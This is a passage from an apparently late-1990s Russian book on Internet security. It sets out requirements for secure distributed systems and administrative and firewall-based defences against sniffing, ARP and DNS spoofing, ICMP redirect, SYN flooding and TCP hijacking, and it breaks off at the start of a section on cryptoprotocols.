определить с точностью до подсети истинный адрес отправителя. Итак,
получив подобное сообщение с указанным маршрутом, сетевая операционная
система анализирует маршрут и проверяет подлинность адреса отправителя. В
случае его недостоверности пакет отбрасывается.
Из всего вышесказанного следует следующее требование к созданию
защищенных систем связи в распределенных ВС:
Утверждение 5.
В распределенной ВС необходимо обеспечить на сетевом уровне контроль за
маршрутом сообщений для аутентификации адреса отправителя.
6.4. Контроль за виртуальными соединениями в распределенной ВС
В предыдущей главе было показано, что взаимодействие объектов РВС по
виртуальному каналу позволяет надежно защитить соединение от возможных
информационно-разрушающих воздействий по каналам связи. Однако, как это
отмечалось в п. 5.1.3, взаимодействие по ВК имеет свои минусы. К минусам
относится необходимость контроля за соединением. Если в системе связи
удаленных объектов РВС не предусмотреть использование надежных алгоритмов
контроля за соединением, то, избавившись от одного типа удаленных атак на
соединение (Подмена доверенного объекта - см. п. 3.2.2), можно подставить
систему под другую типовую УА - Отказ в обслуживании (п. 3.2.4). Поэтому
для обеспечения надежного функционирования и работоспособности
(доступности) каждого объекта распределенной ВС необходимо прежде всего
контролировать процесс создания соединения. Как уже говорилось в п. 5.1.3,
задача контроля за ВК распадается на две подзадачи:
контроль за созданием соединения;
контроль за использованием соединения.
Решение второй задачи лежит на поверхности: так как сетевая
операционная система не может одновременно иметь бесконечное число
открытых ВК, то в том случае, если ВК простаивает в течение определенного
системой тайм-аута, происходит его закрытие.
Далее рассмотрим возможный алгоритм, позволяющий обеспечить контроль за
созданием соединения в РВС.
Основная задача, которую необходимо решить в данном случае, состоит в
том, чтобы не позволить одному субъекту взаимодействия занять все
виртуальные каналы системы. Процесс создания ВК был рассмотрен в п. 3.2.4.
Напомним, что при создании ВК полученный системой запрос на создание
соединения ставится в очередь запросов, и, когда до него дойдет время,
система выработает ответ на запрос и отошлет его обратно отправителю
запроса. Задача контроля за созданием соединения заключается как раз в
том, чтобы определить те правила, исходя из которых система могла бы либо
поставить запрос в очередь, либо нет. Если все пришедшие запросы
автоматически ставятся системой в очередь (так построены все сетевые ОС,
поддерживающие протокол TCP/IP), то это в случае атаки ведет к
переполнению очереди и к отказу в обслуживании всех остальных легальных
запросов.
Такое происходит из-за того, что атакующий посылает в секунду столько
запросов, сколько позволит трафик (тысячи запросов в секунду), а обычный
пользователь с легальным запросом на подключение может послать лишь
несколько запросов в минуту! Следовательно, вероятность подключения втакой
ситуации, при условии переполнения очереди, один к миллиону в лучшем
случае. Поэтому необходимо ввести ограничения на постановку в очередь
запросов от одного объекта. Однако, если в РВС любой объект системы может
послать запрос от имени (с адреса)
любого другого объекта системы, то, как отмечалось ранее, решить задачу
контроля не представляется возможным. Поэтому для обеспечения этой
возможности было введено Утверждение 5, исходя из которого в каждом
пришедшем на объект пакете должен быть указан пройденный им маршрут,
позволяющий с точностью до подсети подтвердить подлинность адреса
отправителя. Учитывая данный факт, позволяющий отсеять все пакеты с
неверным адресом отправителя, можно предложить следующее условие
постановки запроса в очередь: в системе вводится ограничение на число
обрабатываемых в секунду запросов из одной подсети.
Это максимальное число ставящихся в очередь запросов в секунду
определяется непосредственно операционной системой и зависит от следующих
параметров сетевой ОС: быстродействия, объема виртуальной памяти, числа
одновременно обслуживаемых виртуальных каналов, длины очереди и т.д.
Вводимое ограничение не позволит атакующему переполнить очередь, так как
только первые несколько его запросов будут поставлены в очередь на
обслуживание, а остальные будут игнорироваться. Первый же запрос
легального пользователя из другой подсети будет также сразу поставлен в
очередь.
К минусам этого способа решения проблемы контроля за созданием
соединения можно отнести тот факт, что, так как адрес отправителя можно
аутентифицировать с точностью только до подсети, то атакующий может
посылать запросы от имени любого объекта данной подсети. Следовательно, в
случае атаки все остальные объекты из подсети атакующего будут лишены
возможности подключения к атакуемому объекту. Однако, так как, во-первых,
атакующего по указанному в пакете маршруту можно будет вычислить с
точностью до его подсети и, во-вторых, не произойдет нарушения
работоспособности цели атаки, то такая атака вряд ли будет иметь смысл.
Итак, в завершение очередное требование к защищенным системам связи в
распределенных ВС.
Утверждение 6.
Для обеспечения доступности ресурсов распределенной ВС необходим
контроль за виртуальными соединениями между ее объектами.
Следствие 6.1.
Необходимо обеспечить контроль за созданием соединения, введя
ограничение на число обрабатываемых в секунду запросов из одной подсети.
Следствие 6.2.
Необходимо обеспечить контроль за использованием соединения, разрывая
его по тайм-ауту в случае отсутствия сообщений.
6.5. Проектирование распределенной ВС с полностью определенной
информацией о ее объектах с целью исключения алгоритмов удаленного поиска
Одной из особенностей распределенной ВС является возможное отсутствие
информации, необходимой для доступа к ее удаленным объектам.
Поэтому в РВС возникает необходимость использования потенциально
опасных с точки зрения безопасности алгоритмов удаленного поиска (п.
3.2.3.2 и 5.1.5). Следовательно, для того, чтобы в РВС не возникало
необходимости в использовании данных алгоритмов, требуется на начальном
этапе спроектировать систему так, чтобы информация о ее объектах была
изначально полностью определена. Это позволит, в свою очередь,
ликвидировать одну из причин успеха удаленных атак, связанных с
использованием в распределенной ВС алгоритмов удаленного поиска.
Однако в РВС с неопределенным и достаточно большим числом объектов
(например, Internet)
спроектировать систему с отсутствием неопределенности практически
невозможно. В этом случае отказаться от алгоритмов удаленного поиска не
представляется возможным.
Существуют два типа данных алгоритмов. Первый типовой алгоритм
удаленного поиска - с использованием информационно-поискового сервера,
второй - с использованием широковещательных запросов (п. 5.1.5).
Применение в РВС алгоритма удаленного поиска с использованием
широковещательных запросов в принципе не позволяет защитить систему от
внедрения в нее ложного объекта (п. 3.2.3), а, следовательно,
использование данного алгоритма в защищенной системе недопустимо.
Применение в распределенной ВС алгоритма удаленного поиска с
использованием информационно-поискового сервера позволяет обезопасить
систему от внедрения в нее ложного объекта только в том случае, если,
во-первых, взаимодействие объектов системы с сервером происходит только с
созданием виртуального канала и, во-вторых, у объектов, подключенных к
данному серверу, и у сервера существует заранее определенная статическая
ключевая информация, используемая при создании виртуального канала.
Выполнение этих условий сделает невозможным в распределенной ВС передачу в
ответ на запрос с объекта ложного ответа и, следовательно, внедрения в
систему ложного объекта.
Поясним последнее утверждение. В том случае, если виртуальный канал с
информационно-поисковым сервером создается с использованием только
динамически вырабатываемой ключевой информации, например, по схеме
открытого распределения ключей, то ничто не мешает атакующему - в том
случае, если он может перехватить первоначальный запрос на создание ВК с
объекта системы - послать ложный ответ и создать виртуальный канал от
имени настоящего сервера (п. 3.2.3.2). Именно поэтому на всех объектах
системы необходима начальная ключевая информация для создания ВК с
информационно-поисковым сервером.
В заключение предлагаются следующие требования, которыми необходимо
руководствоваться при создании защищенных систем связи в распределенных ВС.
Утверждение 7.
Наиболее безопасной распределенной ВС является та система, в которой
информация о ее объектах изначально полностью определена и в которой не
используются алгоритмы удаленного поиска.
Утверждение 8.
В том случае, если выполненить требование 7 невозможно, необходимо в
распределенной ВС использовать только алгоритм удаленного поиска с
выделенным информационно-поисковым сервером, и при этом взаимодействие
объектов системы с данным сервером должно осуществляться только по
виртуальному каналу с применением надежных алгоритмов защиты соединения с
обязательным использованием статической ключевой информации.
Следствие 8.1.
В распределенной ВС для обеспечения безопасности необходимо отказаться
от алгоритмов удаленного поиска с использованием широковещательных
запросов.
Заключая эту главу, хотелось бы обратить внимание читателя на то, что,
как он, наверное, уже понял, в сети Internet в стандарте IPv4 практически
ни одно из сформулированных требований к построению безопасных систем
связи между удаленными объектами распределенных ВС не выполняется. Поэтому
авторы позволили себе привести свои требования, по которым должна
строиться распределенная ВС. Кстати, учтя собственные ошибки в разработке
стандарта IPv4, группы разработчиков уже заканчивают проект создания
нового более защищенного стандарта сети Internet - IPv6, где будут,
по-видимому, учтены некоторые из вышеизложенных требований. Однако
разговор о том, насколько будет безопасна сеть Internet в новом стандарте,
несколько преждевременен, и его необходимо отложить до окончательного
выхода стандарта в свет.
7. Как защититься от удаленных атак в сети Internet?
- ...Скажите мне честно - есть ли хоть
какой-то выход из этого кошмара?
- Выход всегда есть, - ответил Эркюль Пуаро.
А.Кристи. Подвиги Геркулеса.
Прежде чем говорить о различных аспектах обеспечения информационной
безопасности в сети Internet, пользователь должен постараться найти ответ
на вопрос: А есть ли мне, что защищать? . Вы скажете, странный вопрос.
Ничуть! Особенность сети Internet на сегодняшний день состоит в том,
что 99% процентов информационных ресурсов сети являются общедоступными.
Удаленный доступ к этим ресурсам может осуществляться анонимно любым
неавторизованным пользователем сети. Примером подобного неавторизованного
доступа к общедоступным ресурсам является подключение к WWW- или
FTP-серверам, в том случае, если подобный доступ разрешен. Теперь, даже
если при помощи одной из описанных удаленных атак из предыдущей главы
трафик пользователя будет, например, перехвачен и пройдет через сегмент
сети атакующего, то последний не получит ничего, кроме и так общедоступной
информации, а, следовательно, в подобной атаке для кракера нет абсолютно
никакого смысла! Поэтому первый вопрос, на который должен ответить каждый
пользователь, заключается в выборе вида удаленного доступа к ресурсам
сети. Если пользователь планирует осуществлять в сети Internet только
неавторизованный удаленный доступ к различным информационным ресурсам, то
заботиться о безопасности соединения ему абсолютно не требуется! Если же
все-таки планируется авторизованный доступ к удаленным ресурсам, то без
обращения должного внимания на проблемы безопасности никак не обойтись.
Определившись, к каким ресурсам сети Internet пользователь намерен
осуществлять доступ, необходимо ответить на следующий вопрос: а собирается
ли пользователь разрешать удаленный доступ из сети к своим ресурсам? Если
нет, то тогда имеет смысл использовать в качестве сетевой ОС чисто
клиентскую ОС (например, Windows '95 или NT Workstation), которая не
содержит программ-серверов, обеспечивающих удаленный доступ, а,
следовательно, удаленный доступ к данной системе в принципе невозможен,
так как он просто программно не предусмотрен (например, ОС Windows '95 или
NT, правда с одним но: под данные системы действительно нет серверов FTP,
TELNET, WWW и т.
д., но нельзя забывать про встроенную в них возможность предоставления
удаленного доступа к файловой системе, так называемое разделение (share)
ресурсов. А вспомнив по меньшей мере странную позицию фирмы Microsoft по
отношению к обеспечению безопасности своих систем, нужно серьезно
подумать, прежде чем остановить выбор на продуктах данной фирмы. Последний
пример: в Internet появилась программа, предоставляющая атакующему
несанкционированный удаленный доступ к файловой системе ОС Windows NT
4.0!). Выбор клиентской операционной системы во многом решает проблемы
безопасности для данного пользователя (нельзя получить доступ к ресурсу,
которого просто нет!). Однако в этом случае ухудшается функциональность
системы. Здесь своевременно сформулировать, на наш взгляд, основную
аксиому безопасности:
Аксиома безопасности.
Принципы доступности, удобства, быстродействия и функциональности
вычислительной системы антагонистичны принципам ее безопасности.
Данная аксиома, в принципе, очевидна: чем более доступна, удобна,
быстра и многофункциональна ВС, тем она менее безопасна. Примеров можно
привести массу. Например, служба DNS: удобно, но опасно (п. 4.3).
Вернемся к выбору пользователем клиентской сетевой ОС. Это, кстати,
один из весьма здравых шагов, ведущих к сетевой политике изоляционизма.
Данная сетевая политика безопасности заключается в осуществлении как
можно более полной изоляции своей вычислительной системы от внешнего мира.
Также одним из шагов к обеспечению данной политики является, например,
использование систем Firewall, позволяющих создать выделенный защищенный
сегмент (например, приватную сеть), отделенный от глобальной сети.
Конечно, ничто не мешает довести эту политику сетевого изоляционизма до
абсурда - просто выдернуть сетевой кабель (полная изоляция от внешнего
мира!). Не забывайте, это тоже решение всех проблем с удаленными атаками и
сетевой безопасностью (в связи c полным отсутствием оных).
Итак, пусть пользователь сети Internet решил использовать для доступа в
сеть только клиентскую сетевую ОС и осуществлять с помощью нее только
неавторизованный доступ. Проблемы с безопасностью решены? Ничуть! Все было
бы хорошо, если бы ни было так плохо. Мы чуть не забыли про типовую
удаленную атаку - Отказ в обслуживании (п. 3.2.4)! Для этой атаки
абсолютно не имеет значения ни вид доступа, применяемый пользователем, ни
тип сетевой ОС (хотя клиентская ОС с точки зрения защиты от атаки
несколько предпочтительнее). Эта атака, используя фундаментальные пробелы
в безопасности протоколов и инфраструктуры сети Internet, поражает сетевую
ОС на хосте пользователя с одной единственной целью - нарушить его
работоспособность (п. 4.4, 4.6). Напомним, что для атаки, связанной с
навязыванием ложного маршрута при помощи протокола ICMP, целью которой
является отказ в обслуживании, ОС Windows '95 или Windows NT - наиболее
лакомая цель (можно поразить любой хост в сети Internet, на котором
установлена данная ОС - п.
4.4). Бедному пользователю в таком случае остается надеяться на то, что
его скромный хост не представляет никакого интереса для атакующего,
который может нарушить его работоспособность разве что из желания просто
напакостить.
В заключение хотелось бы заметить, что пользователь, который предпочел
клиентскую операционную систему, решил осуществлять только
неавторизованный доступ и смирился с удаленной атакой Отказ в обслуживании
, смело может не читать следующие пункты. Ну, разве что из интереса.
7.1. Административные методы защиты от удаленных атак в сети Internet
7.2. Программно-аппаратные методы защиты от удаленных атак в сети
Internet
7.1. Административные методы защиты от удаленных атак в сети Internet
Итак, уважаемый пользователь или не менее уважаемый сетевой
администратор, вы все-таки решили попытаться защитить свою систему от
разного рода удаленных воздействий. Конечно, самым правильным шагом в этом
направлении будет приглашение специалиста по информационной безопасности,
который вместе с вами постарается решить весь комплекс задач по
обеспечению требуемого необходимого уровня безопасности для вашей
распределенной ВС. Это довольно сложная комплексная задача, для решения
которой необходимо определить, что (список контролируемых объектов и
ресурсов РВС), от чего (анализ возможных угроз данной РВС) и как
(выработка требований, определение политики безопасности и выработка
административных и программно-аппаратных мер по обеспечению на практике
разработанной политики безопасности)
защищать.
Пожалуй, наиболее простыми и дешевыми являются именно административные
методы защиты от информационно-раз-рушающих воздействий. В следующих
пунктах рассматриваются возможные административные методы защиты от
описанных в 4 главе удаленных атак на хосты Internet (в общем случае на
IP-сети).
7.1.1. Как защититься от анализа сетевого трафика?
В п. 4.1 рассматривалась атака, позволяющая кракеру при помощи
программного прослушивания канала передачи сообщений в сети перехватывать
любую информацию, которой обмениваются удаленные пользователи, если по
каналу передаются только нешифрованные сообщения.
Также в этом пункте было показано, что базовые прикладные протоколы
удаленного доступа TELNET и FTP не предусматривают элементарную
криптозащиту передаваемых по сети даже идентификаторов (имен)
и аутентификаторов (паролей) пользователей.
Поэтому администраторам сетей, очевидно, можно порекомендовать не
допускать использование этих базовых протоколов для предоставления
удаленного авторизованного доступа к ресурсам своих систем и считать
анализ сетевого трафика той постоянно присутствующей угрозой, которую
невозможно устранить, но можно сделать ее осуществление по сути
бессмысленным, применяя стойкие криптоалгоритмы защиты IP-потока (п.
7.2.2.1).
7.1.2. Как защититься от ложного ARP-сервера?
Коротко напомним, что в п. 4.2 рассматривалась удаленная атака,
использующая недостатки в механизме удаленного поиска на базе протокола
ARP.
В том случае, если у сетевой ОС отсутствует информация о соответствии
IP- и Ethernet-адресов хостов внутри одного сегмента IP-сети, данный
протокол позволяет посылать широковещательный ARP-запрос на поиск
необходимого Ethernet-адреса, на который атакующий может прислать ложный
ответ, и, в дальнейшем, весь трафик на канальном уровне окажется
перехваченным атакующим и пройдет через ложный ARP-сервер. Очевидно, что
для ликвидации данной атаки необходимо устранить причину, по которой
возможно ее осуществление.
Основная причина успеха данной удаленной атаки - отсутствие необходимой
информации у ОС каждого хоста о соответствующих IP- и Ethernet-адресах
всех остальных хостов внутри данного сегмента сети.
Таким образом, самым простым решением будет создание сетевым
администратором статической ARP-таблицы в виде файла (в ОС UNIX обычно
/etc/ethers), куда необходимо внести соответствую-щую информацию об
адресах. Данный файл устанавливается на каждый хост внутри сегмента, и,
следовательно, у сетевой ОС отпадает необходимость в использовании
удаленного ARP-поиска. Правда, отметим, что ОС Windows '95 это не помогает
(4.2).
7.1.3. Как защититься от ложного DNS-сервера?
В 4 главе было наглядно показано, что использование в сети Internet
службы DNS в ее нынешнем виде может позволить кракеру получить глобальный
контроль над соединениями путем навязывания ложного маршрута через хост
кракера - ложный DNS-сервер. Осуществление этой удаленной атаки,
основанной на потенциальных уязвимостях службы DNS, может привести к
катастрофическим последствиям для огромного числа пользователей Internet и
стать причиной массового нарушения информационной безопасности данной
глобальной сети (п. 4.3). В следующих двух пунктах предлагаются возможные
административные методы по предотвращению или затруднению данной удаленной
атаки для администраторов и пользователей сети и для администраторов
DNS-серверов.
7.1.3.1. Как администратору сети защититься от ложного DNS-сервера?
Если отвечать на этот вопрос коротко, то никак.
Ни административно, ни программно нельзя защититься от атаки на
существующую версию службы DNS. Оптимальным с точки зрения безопасности
решением будет вообще отказаться от использования службы DNS в вашем
защищенном сегменте! Конечно, совсем отказаться от использования имен при
обращении к хостам для пользователей будет очень не удобно. Поэтому можно
предложить следующее компромиссное решение: использовать имена, но
отказаться от механизма удаленного DNS-поиска. Вы правильно догадались,
что это возвращение к схеме, использовавшейся до появления службы DNS с
выделенными DNS-серверами. Тогда на каждой машине в сети существовал hosts
файл, в котором находилась информация о соответствующих именах и
IP-адресах всех хостов в сети. Очевидно, что на сегодняшний день
администратору можно внести в подобный файл информацию о лишь наиболее
часто посещаемых пользователями данного сегмента серверах сети. Поэтому
использование на практике данного решения чрезвычайно затруднено и,
видимо, нереально (что, например, делать с броузерами, которые используют
URL с именами?).
Для затруднения осуществления данной удаленной атаки можно предложить
администраторам использовать для службы DNS вместо протокола UDP, который
устанавливается по умолчанию, протокол TCP (хотя из документации далеко не
очевидно, как его сменить). Это существенно затруднит для атакующего
передачу на хост ложного DNS-ответа без приема DNS-запроса.
Общий неутешительный вывод таков: в сети Internet при использовании
существующей версии службы DNS не существует приемлемого решения для
защиты от ложного DNS-сервера (и не откажешься, как в случае с ARP, и
использовать опасно)!
7.1.3.2. Как администратору DNS-сервера защититься от ложного
DNS-сервера?
Если отвечать на этот вопрос коротко, то, опять же, никак. Единственным
способом затруднить осуществление данной удаленной атаки, это использовать
для общения с хостами и с другими DNS-серверами только протокол TCP, а не
UDP. Тем не менее, это только затруднит выполнение атаки - не забывайте
как про возможный перехват DNS-запроса, так и про возможность
математического предсказания начального значения TCP-идентификатора ISN
(п. 4.5.1).
В заключение можно порекомендовать для всей сети Internet поскорее
перейти либо к новой более защищенной версии службы DNS, либо принять
единый стандарт на защищенный протокол. Сделать этот переход, несмотря на
все колоссальные расходы, просто необходимо, иначе сеть Internet может
быть просто поставлена на колени перед всевозрастающими успешными
попытками нарушения ее безопасности при помощи данной службы!
7.1.4. Как защититься от навязывания ложного маршрута при использовании
протокола ICMP?
Как вы помните, в п. 4.4 рассматривалась удаленная атака, которая
заключалась в передаче на хост ложного ICMP Redirect сообщения о смене
исходного маршрута. Эта атака приводила как к перехвату атакующим
информации, так и к нарушению работоспособности атакуемого хоста.
Для того, чтобы защититься от данной удаленной атаки, необходимо либо
фильтровать данное сообщение (используя Firewall или фильтрующий
маршрутизатор), не допуская его попадания на конечную систему, либо
соответствующим образом выбирать сетевую ОС, которая будет игнорировать
это сообщение. Однако обычно не существует административных способов
повлиять на сетевую ОС так, чтобы запретить ей изменять маршрут и
реагировать на данное сообщение. Единственный способ, например, в случае
ОС Linux или FreeBSD заключается в том, чтобы изменить исходные тексты и
перекомпилировать ядро ОС. Очевидно, что такой экзотический для многих
способ возможен только для свободно распространяемых вместе с исходными
текстами операционных систем. Обычно на практике не существует иного
способа узнать реакцию используемой у вас ОС на ICMP Redirect сообщение,
как послать данное сообщение и посмотреть, каков будет результат.
Эксперименты показали, что данное сообщение позволяет изменить
маршрутизацию на ОС Linux 1.2.8, Windows '95 и Windows NT 4.0. Следует
отметить, что (как это видно из 4 главы) продукты компании Microsoft не
отличаются особой защищенностью от возможных удаленных атак, присущих
IP-сетям. Следовательно, использовать данные ОС в защищенном сегменте
IP-сети представляется нежелательным. Это и будет тем самым
административным решением по защите сегмента сети от данной удаленной
атаки.
7.1.5. Как защититься от отказа в обслуживании?
Как не раз уже отмечалось, нет и не может быть приемлемых способов
защиты от отказа в обслуживании в существующем стандарте IPv4 сети
Internet (глава 5)! Это связано с тем, что в данном стандарте невозможен
контроль за маршрутом сообщений. Поэтому невозможно обеспечить надежный
контроль за сетевыми соединениями, так как у одного субъекта сетевого
взаимодействия существует возможность занять неограниченное число каналов
связи с удаленным объектом и при этом остаться анонимным (5.1.3). Из-за
этого любой сервер в сети Internet может быть полностью парализован при
помощи удаленной атаки, рассмотренной в п. 4.6.
Единственное, что можно предложить для повышения надежности работы
системы, подвергаемой данной атаке, - это использовать как можно более
мощные компьютеры. Чем больше число и частота работы процессоров, чем
больше объем оперативной памяти, тем более надежной будет работа сетевой
ОС, когда на нее обрушится направленный шторм ложных запросов на создание
соединения. Кроме того, необходимо использование соответствующих вашим
вычислительным мощностям операционных систем с внутренней очередью,
способной вместить большое число запросов на подключение. Ведь от того,
что вы, например, поставите на суперЭВМ операционную систему Linux или
Windows NT, у которых длина очереди для одновременно обрабатываемых
запросов около 10, а тайм-аут очистки очереди несколько минут, то,
несмотря на все вычислительные мощности компьютера, ОС будет полностью
парализована атакующим.
Общий вывод по противодействию данной атаки в существующем стандарте
IPv4 следующий: просто расслабьтесь и надейтесь на то, что вы ни для кого
не представляете интереса, или покупайте суперЭВМ с соответствующей ей
сетевой ОС.
7.1.6. Как защититься от подмены одной из сторон
при взаимодействии с использованием базовых протоколов семейства TCP/IP
Как отмечалось ранее, единственным базовым протоколом семейства TCP/IP, в
котором изначально предусмотрена функция обеспечения безопасности
соединения и его абонентов, является протокол транспортного уровня -
протокол TCP. Что касается базовых протоколов прикладного уровня: FTP,
TELNET, r-служба, NFS, HTTP, DNS, SMTP, то ни один из них не
предусматривает дополнительную защиту соединения на своем уровне и
оставляет решение всех проблем по обеспечению безопасности соединения
протоколу более низкого транспортного уровня - TCP. Однако, вспомнив о
возможных атаках на TCP-соединение, рассмотренных в п. 4.5, где было
отмечено, что при нахождении атакующего в одном сегменте с целью атаки
защититься от подмены одного из абонентов TCP-соединения в принципе
невозможно, а в случае нахождения в разных сегментах из-за возможности
математического предсказания идентификатора TCP-соединения ISN также
реальна подмена одного из абонентов, несложно сделать вывод, что при
использовании базовых протоколов семейства TCP/IP обеспечить безопасность
соединения практически невозможно! Это происходит из-за того, что, к
сожалению, все базовые протоколы сети Internet с точки зрения обеспечения
информационной безопасности невероятно устарели.
Единственно, что можно порекомендовать сетевым администраторам для
защиты только от межсегментных атак на соединения - в качестве базового
защищенного протокола использовать протокол TCP и сетевые ОС, в которых
начальное значение идентификатора TCP-соединения действительно
генерируется случайным образом (неплохой псевдослучайный алгоритм
генерации используется в последних версиях ОС FreeBSD).
(Подчеркнем, что здесь говорилось только о базовых протоколах семейства
TCP/IP, а все защищенные протоколы типа SSL, S-HTTP, Kerberos и т. д. не
являются базовыми - п. 7.2.2.1.)
7.2. Программно-аппаратные методы защиты от удаленных атак в сети
Internet
К программно-аппаратным средствам обеспечения информационной
безопасности средств связи в вычислительных сетях относятся:
аппаратные шифраторы сетевого трафика;
методика Firewall, реализуемая на базе программно-аппаратных средств;
защищенные сетевые криптопротоколы;
программно-аппаратные анализаторы сетевого трафика;
защищенные сетевые ОС.
Существует огромное количество литературы, посвященной этим средствам
защиты, предназначенным для использования в сети Internet (за последние
два года практически в каждом номере любого компьютерного журнала можно
найти статьи на эту тему).
Далее мы, по возможности кратко, чтобы не повторять всем хорошо
известную информацию, опишем данные средства защиты, применяемые в
Internet. При этом мы преследуем следующие цели:
во-первых, еще раз вернемся к мифу об абсолютной защите , которую якобы
обеспечивают системы Firewall, очевидно, благодаря стараниям их продавцов;
во-вторых, сравним существующие версии криптопротоколов, применяемых в
Internet, и дадим оценку, по сути, критическому положению в этой области;
и, в-третьих, ознакомим читателей с возможностью защиты с помощью сетевого
монитора безопасности, предназначенного для осуществления динамического
контроля за возникающими в защищаемом сегменте IP-сети ситуациями,
свидетельствующими об осуществлении на данный сегмент одной из описанных в
4 главе удаленных атак.
7.2.1. Методика Firewall как основное программно-аппаратное средство
осуществления сетевой политики безопасности в выделенном сегменте IP-сети
В общем случае методика Firewall реализует следующие основные три
функции:
1. Многоуровневая фильтрация сетевого трафика.
Фильтрация обычно осуществляется на трех уровнях OSI:
сетевом (IP); транспортном (TCP, UDP); прикладном (FTP, TELNET, HTTP,
SMTP и т. д.).
Фильтрация сетевого трафика является основной функцией систем Firewall
и позволяет администратору безопасности сети централизованно осуществлять
необходимую сетевую политику безопасности в выделенном сегменте IP-сети,
то есть, настроив соответствующим образом Firewall, можно разрешить или
запретить пользователям как доступ из внешней сети к соответствующим
службам хостов или к хостам, находящихся в защищаемом сегменте, так и
доступ пользователей из внутренней сети к соответствующим ресурсам внешней
сети. Можно провести аналогию с администратором локальной ОС, который для
осуществления политики безопасности в системе назначает необходимым
образом соответствующие отношения между субъектами (пользователями) и
объектами системы (файлами, например), что позволяет разграничить доступ
субъектов системы к ее объектам в соответствии с заданными администратором
правами доступа. Те же рассуждения применимы к Firewall-фильтрации: в
качестве субъектов взаимодействия будут выступать IP-адреса хостов
пользователей, а в качестве объектов, доступ к которым необходимо
разграничить, - IP-адреса хостов, используемые транспортные протоколы и
службы предоставления удаленного доступа.
2. Proxy-схема с дополнительной идентификацией и аутентификацией
пользователей на Firewall-хосте.
Proxy-схема позволяет, во-первых, при доступе к защищенному Firewall
сегменту сети осуществить на нем дополнительную идентификацию и
аутентификацию удаленного пользователя и, во-вторых, является основой для
создания приватных сетей с виртуальными IP-адресами. Смысл proxy-схемы
состоит в создании соединения с конечным адресатом через промежуточный
proxy-сервер (proxy от англ. полномочный) на хосте Firewall. На этом
proxy-сервере и может осуществляться дополнительная идентификация абонента.
3. Создание приватных сетей (Private Virtual Network - PVN) с
виртуальными IP-адресами (NAT - Network Address Translation).
В том случае, если администратор безопасности сети считает
целесообразным скрыть истинную топологию своей внутренней IP-сети, то ему
можно порекомендовать использовать системы Firewall для создания приватной
сети (PVN-сеть). Хостам в PVN-сети назначаются любые виртуальные IP-адреса.
Для адресации во внешнюю сеть (через Firewall)
необходимо либо использование на хосте Firewall описанных выше
proxy-серверов, либо применение специальных систем роутинга
(маршрутизации), только через которые и возможна внешняя адресация. Это
происходит из-за того, что используемый во внутренней PVN-сети виртуальный
IP-адрес, очевидно, не пригоден для внешней адресации (внешняя адресация -
это адресация к абонентам, находящимся за пределами PVN-сети).
Поэтому proxy-сервер или средство роутинга должно осуществлять связь с
абонентами из внешней сети со своего настоящего IP-адреса. Кстати, эта
схема удобна в том случае, если вам для создания IP-сети выделили
недостаточное количество IP-адресов (в стандарте IPv4 это случается сплошь
и рядом, поэтому для создания полноценной IP-сети с использованием
proxy-схемы достаточно только одного выделенного IP-адреса для
proxy-сервера).
Итак, любое устройство, реализующее хотя бы одну из этих функций
Firewall-методики, и является Firewall-устройством. Например, ничто не
мешает вам использовать в качестве Firewall-хоста компьютер с обычной ОС
FreeBSD или Linux, у которой соответствующим образом необходимо
скомпилировать ядро ОС. Firewall такого типа будет обеспечивать только
многоуровневую фильтрацию IP-трафика. Другое дело, предлагаемые на рынке
мощные Firewall-комплексы, сделанные на базе ЭВМ или мини-ЭВМ, обычно
реализуют все функции Firewall-мето-дики и являются полнофункциональными
системами Firewall. На следующем рисунке изображен сегмент сети,
отделенный от внешней сети полнофункциональным Firewall-хостом.
Рис. 7.1. Обобщенная схема полнофункционального хоста Firewall.
Однако администраторам IP-сетей, поддавшись на рекламу систем Firewall,
не стоит заблуждаться на тот счет, что Firewall это гарантия абсолютной
защиты от удаленных атак в сети Internet. Firewall - не столько средство
обеспечения безопасности, сколько возможность централизованно осуществлять
сетевую политику разграничения удаленного доступа к доступным ресурсам
вашей сети. Да, в том случае, если, например, к данному хосту запрещен
удаленный TELNET-доступ, то Firewall однозначно предотвратит возможность
данного доступа. Но дело в том, что большинство удаленных атак имеют
совершенно другие цели (бессмысленно пытаться получить определенный вид
доступа, если он запрещен системой Firewall). Действительно, зададим себе
вопрос, а какие из рассмотренных в 4 главе удаленных атак может
предотвратить Firewall? Анализ сетевого трафика (п. 4.1)? Очевидно, нет!
Ложный ARP-сервер (п. 4.2)? И да, и нет (для защиты вовсе не обязательно
использовать Firewall). Ложный DNS-сервер (п. 4.3)? Нет, к сожалению,
Firewall вам тут не помощник.
Навязывание ложного маршрута при помощи протокола ICMP (п. 4.4)? Да,
эту атаку путем фильтрации ICMP-сообщений Firewall легко отразит (хотя
достаточно будет фильтрующего маршрутизатора, например Cisco).
Подмена одного из субъектов TCP-соединения (п. 4.5)?
Ответ отрицательный; Firewall тут абсолютно не при чем. Нарушение
работоспособности хоста путем создания направленного шторма ложных
запросов или переполнения очереди запросов (п. 4.6)? В этом случае
применение Firewall только ухудшит все дело.
Атакующему для того, чтобы вывести из строя (отрезать от внешнего мира)
все хосты внутри защищенного Firewall-системой сегмента, достаточно
атаковать только один Firewall, а не несколько хостов (это легко
объясняется тем, что связь внутренних хостов с внешним миром возможна
только через Firewall).
Из всего вышесказанного отнюдь не следует, что использование систем
Firewall абсолютно бессмысленно. Нет, на данный момент этой методике
(именно как методике!) нет альтернативы. Однако надо четко понимать и
помнить ее основное назначение. Нам представляется, что применение
методики Firewall для обеспечения сетевой безопасности является
необходимым, но отнюдь не достаточным условием, и не нужно считать, что,
поставив Firewall, вы разом решите все проблемы с сетевой безопасностью и
избавитесь от всех возможных удаленных атак из сети Internet.
Прогнившую с точки зрения безопасности сеть Internet никаким отдельно
взятым Firewall'ом не защитишь!
7.2.2. Программные методы защиты, применяемые в сети Internet К
программным методам защиты в сети Internet можно отнести прежде всего
защищенные криптопротоколы, с использованием которых появляется
возможность надежной защиты соединения. В следующем пункте пойдет речь о
существующих на сегодняшний день в Internet подходах и основных, уже
разработанных, криптопротоколах.
К иному классу программных методов защиты от удаленных атак относятся
существующие на сегодняшний день программы, основная цель которых - анализ
сетевого трафика на предмет наличия одного из известных активных удаленных
воздействий. Об этом пункт 7.2.2.2.
7.2.2.1. SKIP-технология и криптопротоколы SSL, S-HTTP как основное
средство защиты соединения и передаваемых данных в сети Internet Прочитав
4 и 5 главы, читатель, очевидно, уяснил, что одна из основных причин
успеха удаленных атак на распределенные ВС кроется в использовании сетевых
протоколов обмена, которые не могут надежно идентифицировать удаленные
объекты, защитить соединение и передаваемые по нему данные. Поэтому
совершенно естественно, что в процессе функционирования Internet были
